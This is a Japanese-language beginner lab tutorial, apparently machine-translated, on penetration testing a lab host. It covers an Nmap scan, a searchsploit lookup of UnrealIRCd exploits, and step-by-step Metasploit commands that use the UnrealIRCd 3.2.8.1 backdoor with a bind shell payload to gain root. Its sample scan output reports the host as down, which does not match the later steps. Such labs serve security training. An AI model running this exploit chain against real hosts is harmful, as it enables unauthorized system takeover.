Nmap を使用してターゲットホストの脆弱性をスキャンして悪用する

CybersecurityCybersecurityBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

ネットワークスキャニングは非常に実践的な分野です。ネットワークスキャニングを通じて、ユーザーは対象ホスト上のさまざまなサービスに割り当てられたポート、オープンなサービス、サービスソフトウェアとそのバージョン、その他の情報を見つけることができます。

この実験では、対象ホストのネットワークサービスのセキュリティ脆弱性をスキャンする方法を学びます。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("Cybersecurity")) -.-> cybersecurity/NmapGroup(["Nmap"]) nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("Nmap Port Scanning Methods") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") subgraph Lab Skills cybersecurity/nmap_port_scanning -.-> lab-416121{{"Nmap を使用してターゲットホストの脆弱性をスキャンして悪用する"}} nmap/port_scanning -.-> lab-416121{{"Nmap を使用してターゲットホストの脆弱性をスキャンして悪用する"}} end

Nmap を使って対象ホストのオープンポートをスキャンする

ネットワークスキャニングの基本的なワークフローは以下の通りです。

  1. 対象ホストを見つける
  2. ポートスキャン
  3. フィンガープリント情報のスキャン
  4. 脆弱性スキャン
  5. 浸透攻撃を実行する

Nmap(Network Mapper)は強力なネットワークスキャンツールです。UDP、TCP connect()、TCP SYN(半オープンスキャン)、FTP プロキシ(バウンス攻撃)、リバースフラグ、ICMP、FIN、ACK スキャン、SYN スキャン、ヌルスキャンなど、様々なスキャン技術をサポートしています。

このステップでは、Nmap を使って対象ホストのオープンポートをスキャンします。

  1. ターミナルを開き、Kali コンテナに入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. nmap コマンドを使って対象ホスト 192.168.122.102 をスキャンします。
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

このコマンドは、対象ホストの 1 から 65535 までのすべてのポートをスキャンし、タイミングポリシーを 4(高速)に設定し、OS フィンガープリントとバージョン検出を有効にし、出力を /tmp/report.txt に保存します。

スキャン結果を分析する

対象ホストをスキャンした後、潜在的な脆弱性を特定するためにスキャン結果を分析する必要があります。

  1. スキャンレポートを表示する:
cat /tmp/report.txt

このコマンドは、/tmp/report.txt ファイルの内容を表示します。このファイルには、対象ホストのオープンポート、サービス、およびバージョンに関する情報が含まれています。以下は、表示される出力の例です:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
           Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  1. searchsploit ツールを使って脆弱性情報を検索する:
searchsploit unreal ircd

このコマンドは、Exploit Database を検索して、「unreal ircd」サービスに関連する脆弱性情報を探します。以下は、表示される出力の例です:

---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                    | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                         | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                  | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                       | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
  1. 脆弱性の詳細を表示する:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb

このコマンドは、/usr/share/exploitdb/exploits/linux/remote/16922.rb にある脆弱性利用ファイルの内容を表示します。

脆弱性を悪用する

スキャン結果を分析し、潜在的な脆弱性を特定した後、浸透攻撃のために脆弱性を悪用しようとすることができます。

  1. スキャン結果から悪用可能な脆弱性を特定します。たとえば、スキャンで脆弱なサービスがあるオープンポート 6667 が見つかったとしましょう。

  2. Metasploit Framework を起動します。

cd ~
msfconsole
  1. Metasploit コンソールで、適切な悪用モジュールを選択します。
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. 対象ホストの IP アドレスを設定します。
set RHOST 192.168.122.102
  1. ペイロードを設定します。
set PAYLOAD cmd/unix/bind_perl
  1. 悪用を実行します。
exploit

悪用が成功すると、対象ホストにアクセスできるようになります。

  1. 脆弱性を悪用した後、悪用が成功したかどうかを確認する必要があります。Metasploit セッションで、現在のユーザーとホスト名を確認します。
whoami
hostname

出力が root ユーザーとしてログインしており、ホスト名が対象ホストと一致している場合、悪用は成功しています。

Metasploit コンソールを終了するには Ctrl+D を押してから検査を開始します

まとめ

この実験では、対象ホストの探索、ポートスキャン、フィンガープリント情報のスキャン、脆弱性スキャン、および浸透攻撃の実行を含む、ネットワークスキャニングの基本的なワークフローを学びました。強力な Nmap ツールを使って対象ホストのオープンポートをスキャンし、スキャン結果を分析して潜在的な脆弱性を特定しました。また、searchsploit ツールを使って脆弱性情報を検索する方法と、Metasploit Framework を使って脆弱性を悪用する方法を学びました。最後に、対象ホスト上の現在のユーザーとホスト名を確認することで、悪用の成功を確認しました。

この実践的な実験を通じて、ネットワークサービスのセキュリティ脆弱性をスキャンし、浸透攻撃を行う実際の経験を得ました。この知識は、ネットワークシステムのセキュリティを確保し、潜在的なリスクを特定するために不可欠です。